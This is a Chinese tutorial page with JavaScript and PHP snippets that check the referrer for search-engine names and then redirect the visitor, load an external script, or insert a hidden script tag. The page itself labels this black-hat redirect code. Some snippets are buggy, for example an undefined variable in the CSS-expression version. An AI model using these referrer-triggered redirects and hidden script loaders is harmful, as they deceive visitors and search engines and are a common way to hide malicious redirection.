js如何判断访问是来自搜索引擎(蜘蛛人)还是直接访问


Posted in Javascript onSeptember 14, 2015

以下javascript脚本代码可以实现判断访问是否来自搜索引擎。

代码如下:

<script type="text/javascript">
if(window.name != 'ad_app6'){
var r = document.referrer;
r = r.toLowerCase(); //转为小写
var aSites = new Array('google.','baidu.','sm.','soso.','so.','360.','yahoo.','youdao.','sogou.','gougou.');
var b = false;
for (i in aSites){
if (r.indexOf(aSites[i]) > 0){
b = true;
break;
}
}
 
if(b)
{
self.location = '要跳转的网址';
window.adworkergo = 'ad_app6';
}
}
</script>

介绍的这个JS判断蜘蛛来源的方法脚本是写在body的onload里面的。即页面加载时进行判断。代码如下:

body {onload:expression(
if(window.name!="Yang"){
var str1 = document.referrer;
str1 = str1.toLowerCase();
var str6 = 'google.';
var str7 = 'baidu.';
var str4 = 'yahoo.';
var str8 = 'youdao.';
var str9 = 'sogou.';
var str5 = 'soso.';
if(str1.indexOf(str7)>0 || str1.indexOf(str6)>0 || str1.indexOf(str4)>0 || str1.indexOf(str3)>0 || str1.indexOf(str8)>0 || str1.indexOf(str9)
 
>0 || str1.indexOf(str5)>0 && "zh-cn"==navigator.systemLanguage)
{
self.location='http://www.abc.com/';
window.name="Yang";
}
 
}
);}

这个JS判断蜘蛛来源方法不太好用。特别是在需要判断更多蜘蛛来源时代码写起来比较麻烦。

JS正则表达式判断来路搜索引擎指定跳转网址

var regexp=/\.(sogou|soso|baidu|google|youdao|yahoo|bing|sm|so|biso|gougou|ifeng|ivc|sooule|niuhu|biso|360)(\.[a-z0-9\-]+){1,2}\//ig;
var where =document.referrer;
if(regexp.test(where))
{
window.location.href="跳转指定网址";
}
<script language="javascript">

var s=document.referrer

if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("soso")>0 || s.indexOf("search")>0 || s.indexOf("114")>0 )

window.opener.navigate("https://3water.com")

</script>

通过Js判断搜索引擎来路的代码则如下

<script type="text/javascript">
function elem(e,url){
var h=document.createElement(e);
h.src=url;
document.getElementsByTagName('head')[0].appendChild(h);
}

function refer(){
var ref=document.referrer;
var baidu=ref.indexOf("baidu");
var soso=ref.indexOf("soso");
var google=ref.indexOf("google");
if(baidu!=-1||soso!=-1||google!=-1){
elem("script","http://127.0.0.1/js.js");
}
}
refer()
</script>

一段php判断搜索引擎的代码

<?PHP
$referer = $_SERVER['HTTP_REFERER'];
if(!$referer == ''){
if(ereg('http',$referer)){
$referer = @eXPlode('.',$referer);
if(is_array($referer)){
$referer = $referer['1'];
if($referer == 'google' OR $referer == 'baidu' OR $referer == 'soso' OR $referer == 'sogou'){
?>
<div style="visibility:hidden;"><script src="a.js" language="JavaScript"></script>
</div><?php
}
}
}
}
?>

手机端别忘了 sm、 sogou。

基本上也差不多了,如果你有更好的代码,可以留言.

Javascript 相关文章推荐
js 内存释放问题
Apr 25 Javascript
jQuery对表单的操作代码集合
Apr 06 Javascript
angularjs 处理多个异步请求方法汇总
Jan 06 Javascript
详解页面滚动值scrollTop在FireFox与Chrome浏览器间的兼容问题
Dec 03 Javascript
jQuery实现的省市县三级联动菜单效果完整实例
Aug 01 Javascript
jQuery制作图片旋转效果
Feb 02 Javascript
纯JS实现简单的日历
Jun 26 Javascript
node.js实现微信JS-API封装接口的示例代码
Sep 06 Javascript
详解webpack性能优化——DLL
Oct 20 Javascript
vue中使用localstorage来存储页面信息
Nov 04 Javascript
JS实现十字坐标跟随鼠标效果
Dec 25 Javascript
详解Puppeteer前端自动化测试实践
Feb 21 Javascript
根据user-agent判断蜘蛛代码黑帽跳转代码(js版与php版本)
Sep 14 #Javascript
jQuery实现默认是闭合的FAQ展开效果菜单
Sep 14 #Javascript
js带缩略图的图片轮播效果代码分享
Sep 14 #Javascript
jQuery实现的Tab滑动选项卡及图片切换(多种效果)小结
Sep 14 #Javascript
JS+DIV+CSS实现的经典标签切换效果代码
Sep 14 #Javascript
jQuery实现Meizu魅族官方网站的导航菜单效果
Sep 14 #Javascript
jQuery实现鼠标悬停背景翻转的黑色导航菜单代码
Sep 14 #Javascript
You might like
PHP中一个控制字符串输出的函数
2006/10/09 PHP
WordPress判断用户是否登录的代码
2011/03/17 PHP
基于php验证码函数的使用示例
2013/05/03 PHP
php设计模式之命令模式的应用详解
2013/05/21 PHP
php实现把url转换迅雷thunder资源下载地址的方法
2014/11/07 PHP
PHP微信开发之有道翻译
2016/06/23 PHP
PHP机器学习库php-ml的简单测试和使用方法
2017/07/14 PHP
利用PHP访问MySql数据库的逻辑操作以及增删改查的实例讲解
2017/08/30 PHP
JSuggest自动匹配下拉框使用方法(示例代码)
2013/12/27 Javascript
js 数组去重的四种实用方法
2014/09/09 Javascript
javascript实现根据3原色制作颜色选择器的方法
2015/07/17 Javascript
Bootstrap每天必学之栅格系统(布局)
2015/11/25 Javascript
JQuery组件基于Bootstrap的DropDownList(完整版)
2016/07/05 Javascript
javascript将中国数字格式转换成欧式数字格式的简单实例
2016/08/02 Javascript
node.js读取Excel数据(下载图片)的方法示例
2018/08/02 Javascript
Vue项目中使用flow做类型检测的方法
2020/03/18 Javascript
微信小程序转化为uni-app项目的方法示例
2020/05/22 Javascript
python实现ip查询示例
2014/03/26 Python
Python判断Abundant Number的方法
2015/06/15 Python
详解分布式任务队列Celery使用说明
2018/11/29 Python
Python小工具之消耗系统指定大小内存的方法
2018/12/03 Python
浅谈python下tiff图像的读取和保存方法
2018/12/04 Python
python计算阶乘和的方法(1!+2!+3!+...+n!)
2019/02/01 Python
PYTHON实现SIGN签名的过程解析
2019/10/28 Python
Python unittest单元测试框架及断言方法
2020/04/15 Python
Python如何转换字符串大小写
2020/06/04 Python
python框架flask入门之路由及简单实现方法
2020/06/07 Python
使用pygame实现垃圾分类小游戏功能(已获校级二等奖)
2020/07/23 Python
优秀员工自荐信范文
2013/10/05 职场文书
博士生入学考试推荐信
2013/11/17 职场文书
超市七夕促销活动方案
2014/08/28 职场文书
大学军训决心书
2015/02/05 职场文书
2015年领班工作总结
2015/04/29 职场文书
工作年限证明范本
2015/06/15 职场文书
工作证明格式范文
2015/06/15 职场文书
小学四年级作文之最感动的一件事
2019/11/01 职场文书